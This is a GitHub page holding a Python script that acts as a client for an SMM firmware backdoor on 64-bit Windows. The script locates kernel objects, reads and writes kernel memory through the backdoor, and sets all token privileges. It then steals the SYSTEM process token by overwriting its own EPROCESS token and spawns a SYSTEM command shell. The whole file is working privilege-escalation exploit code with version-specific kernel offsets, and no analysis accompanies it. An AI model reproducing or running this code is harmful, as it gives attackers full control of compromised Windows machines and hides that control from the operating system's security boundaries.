-
Notifications
You must be signed in to change notification settings - Fork 50
/
Copy pathsmm_backdoor_privesc_win.py
executable file
·316 lines (197 loc) · 8.85 KB
/
smm_backdoor_privesc_win.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
#!/usr/bin/env python
import sys, os, platform, ctypes, ctypes.wintypes
from struct import pack, unpack
import smm_backdoor as bd
# MSR register used by swapgs
IA32_KERNEL_GS_BASE = 0xc0000102
# OpenProcess() access flags
PROCESS_QUERY_INFORMATION = 0x400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
# OpenProcessToken() access flags
TOKEN_ADJUST_PRIVILEGES = 0x20
# _TOKEN structure field offsets
TOKEN_Privileges_Preset = 0x40
TOKEN_Privileges_Enabled = 0x48
# value for _SEP_TOKEN_PRIVILEGES Present and Enabled fields
TOKEN_PRIVILEGES_VAL = 0x1ff2ffffbc
# system process PID
SYSTEM_PID = 4
def get_object_addr(process_id, handle_value):
# NTSTATUS values
STATUS_SUCCESS = 0x00000000
STATUS_INFO_LENGTH_MISMATCH = 0xc0000004
# information class
SystemHandleInformation = 16
# change return value to unsigned
ntdll = ctypes.windll.ntdll
ntdll.NtQuerySystemInformation.restype = ctypes.c_ulong
size = ctypes.sizeof(ctypes.c_void_p)
class SYSTEM_HANDLE(ctypes.Structure):
_fields_ = [( 'ProcessId', ctypes.wintypes.DWORD ),
( 'ObjectType', ctypes.wintypes.BYTE ),
( 'HandleAttributes', ctypes.wintypes.BYTE ),
( 'HandleValue', ctypes.wintypes.WORD ),
( 'ObjectAddress', ctypes.wintypes.LPVOID ),
( 'GrantedAccess', ctypes.wintypes.DWORD )]
while True:
# allocate information buffer
buff = ctypes.c_buffer(size)
# get system handles information
return_length = ctypes.c_ulong(0)
return_status = ntdll.NtQuerySystemInformation(SystemHandleInformation, buff, size,
ctypes.byref(return_length))
if return_status == STATUS_SUCCESS:
# return length sanity check
assert return_length.value % ctypes.sizeof(SYSTEM_HANDLE) == ctypes.sizeof(ctypes.c_uint64)
# calculate number of returned handles
count = (return_length.value - ctypes.sizeof(ctypes.c_uint64)) / ctypes.sizeof(SYSTEM_HANDLE)
class SYSTEM_HANDLE_INFORMATION(ctypes.Structure):
_fields_ = [( 'HandleCount', ctypes.c_ulong ),
( 'Handles', SYSTEM_HANDLE * count )]
# get SYSTEM_HANDLE_INFORMATION from the raw buffer
info = SYSTEM_HANDLE_INFORMATION.from_buffer_copy(buff)
for handle in info.Handles:
# match handle value
if handle.ProcessId == process_id and handle.HandleValue == handle_value:
# return object address
return handle.ObjectAddress
break
elif return_status == STATUS_INFO_LENGTH_MISMATCH:
# set buffer size, add 0x1000 just for sure
size = return_length.value + 0x1000
else:
raise(Exception('NtQuerySystemInformation() ERROR 0x%x' % return_status))
# handle information is not found
return None
def privesc(command_line = None):
try:
# get windows version and build number
os_major, os_minor, os_build = map(lambda n: int(n), platform.version().split('.'))
except ValueError:
print('ERROR: Unable to get NT version')
return -1
print('[+] NT version is %d.%d.%d' % (os_major, os_minor, os_build))
EPROCESS_Token = None
KPCR_KernelDirectoryTableBase = None
if os_major == 6 and os_minor == 1:
# Windows 7 and Server 2008 R2
EPROCESS_Token = 0x0208
elif os_major == 6 and os_minor == 2:
# Windows 8 and Server 2012
EPROCESS_Token = 0x0348
elif os_major == 6 and os_minor == 3:
# Windows 8.1 and Server 2012 R2
EPROCESS_Token = 0x0348
elif os_major == 10 and os_minor == 0:
if os_build > 19043:
raise(Exception('Unsupported Windows 10 version'))
elif os_build >= 19041:
# Windows 10 starting from 2004 and Server 2019
EPROCESS_Token = 0x04b8
elif os_build >= 18362:
# Windows 10 starting from 1903 and Server 2019
EPROCESS_Token = 0x0360
else:
# Windows 10 and Server 2016
EPROCESS_Token = 0x0358
# kernel CR3 offsset from GS segment base
if os_build in [19043, 19042, 19041]:
# 21H1, 20H2, 2004
KPCR_KernelDirectoryTableBase = 0x9000
elif os_build in [18363, 18362, 17763, 17134]:
# 1909, 1903, 1809, 1803
KPCR_KernelDirectoryTableBase = 0x7000
else:
raise(Exception('Unsupported NT version'))
print('[+] _EPROCESS Token offset is 0x%.4x' % EPROCESS_Token)
# get user mode CR3 value
user_cr3 = bd.state_get(bd.SMM_SAVE_STATE_CR3)
if KPCR_KernelDirectoryTableBase is not None:
print('[+] _KPCR KernelDirectoryTableBase offset is 0x%.4x' % KPCR_KernelDirectoryTableBase)
# get kernel GS base
kpcr_addr = bd.msr_get(IA32_KERNEL_GS_BASE)
print('[+] _KPCR structure is at 0x%.16x' % kpcr_addr)
# read kernel mode CR3 value for KVA shadow enabled system
kernel_cr3 = bd.read_virt_mem_8(kpcr_addr + KPCR_KernelDirectoryTableBase, cr3 = user_cr3)
else:
# KVA shadow is not present on this OS version
kernel_cr3 = 0
if kernel_cr3 == 0:
# KVA shadow is disabled
kernel_cr3 = user_cr3
print('[+] KVA shadow is disabled or not present')
print('[+] Kernel CR3 value is 0x%.16x' % kernel_cr3)
else:
print('[+] KVA shadow is enabled')
print('[+] User CR3 value is 0x%.16x' % user_cr3)
print('[+] Kernel CR3 value is 0x%.16x' % kernel_cr3)
kernel32 = ctypes.windll.kernel32
# open current process
cur_proc_handle = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, 0, os.getpid())
if cur_proc_handle == 0:
print('ERROR: OpenProcess() fails')
return -1
cur_token_handle = ctypes.wintypes.HANDLE(0)
# open current process token
if kernel32.OpenProcessToken(cur_proc_handle, TOKEN_ADJUST_PRIVILEGES,
ctypes.byref(cur_token_handle)) == 0:
print('ERROR: OpenProcessToken() fails')
return -1
# get token object address
cur_token_addr = get_object_addr(os.getpid(), cur_token_handle.value)
if cur_token_addr is None:
print('ERROR: Unable to find token object address')
return -1
print('[+] Token object address is 0x%.8x' % cur_token_addr)
# read present privileges field
priv_present = bd.read_virt_mem_8(cur_token_addr + TOKEN_Privileges_Preset, cr3 = kernel_cr3)
print('[+] Present privileges: 0x%x -> 0x%x' % (priv_present, TOKEN_PRIVILEGES_VAL))
# read enabled privileges field
priv_enabled = bd.read_virt_mem_8(cur_token_addr + TOKEN_Privileges_Enabled, cr3 = kernel_cr3)
print('[+] Enabled privileges: 0x%x -> 0x%x' % (priv_enabled, TOKEN_PRIVILEGES_VAL))
# update _SEP_TOKEN_PRIVILEGES fields
bd.write_virt_mem_8(cur_token_addr + TOKEN_Privileges_Preset, TOKEN_PRIVILEGES_VAL, cr3 = kernel_cr3)
bd.write_virt_mem_8(cur_token_addr + TOKEN_Privileges_Enabled, TOKEN_PRIVILEGES_VAL, cr3 = kernel_cr3)
# open system process
sys_proc_handle = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, SYSTEM_PID)
if sys_proc_handle == 0:
print('ERROR: OpenProcess() fails')
return -1
# get current process object address
cur_proc_addr = get_object_addr(os.getpid(), cur_proc_handle)
if cur_proc_addr is None:
print('ERROR: Unable to find current process object address')
return -1
print('[+] Current process object address is 0x%.8x' % cur_proc_addr)
# get system process object address
sys_proc_addr = get_object_addr(os.getpid(), sys_proc_handle)
if sys_proc_addr is None:
print('ERROR: Unable to find current process object address')
return -1
print('[+] System process object address is 0x%.8x' % sys_proc_addr)
print('[+] Overwriting process token...')
# read system process token
token = bd.read_virt_mem_8(sys_proc_addr + EPROCESS_Token, cr3 = kernel_cr3)
# update current process token
bd.write_virt_mem_8(cur_proc_addr + EPROCESS_Token, token, cr3 = kernel_cr3)
if command_line is None:
print('[+] Done, spawning SYSTEM shell...\n')
# spawn shell
os.system('cmd.exe')
else:
os.system(command_line)
return 0
def main():
# check OS
assert platform.system() == 'Windows'
# check for 64-bit process
assert ctypes.sizeof(ctypes.c_void_p) == ctypes.sizeof(ctypes.c_uint64)
print('[+] Initializing SMM backdoor client...')
bd.init(use_timer = True)
bd.ping()
return privesc()
if __name__ == '__main__':
exit(main())
#
# EoF
#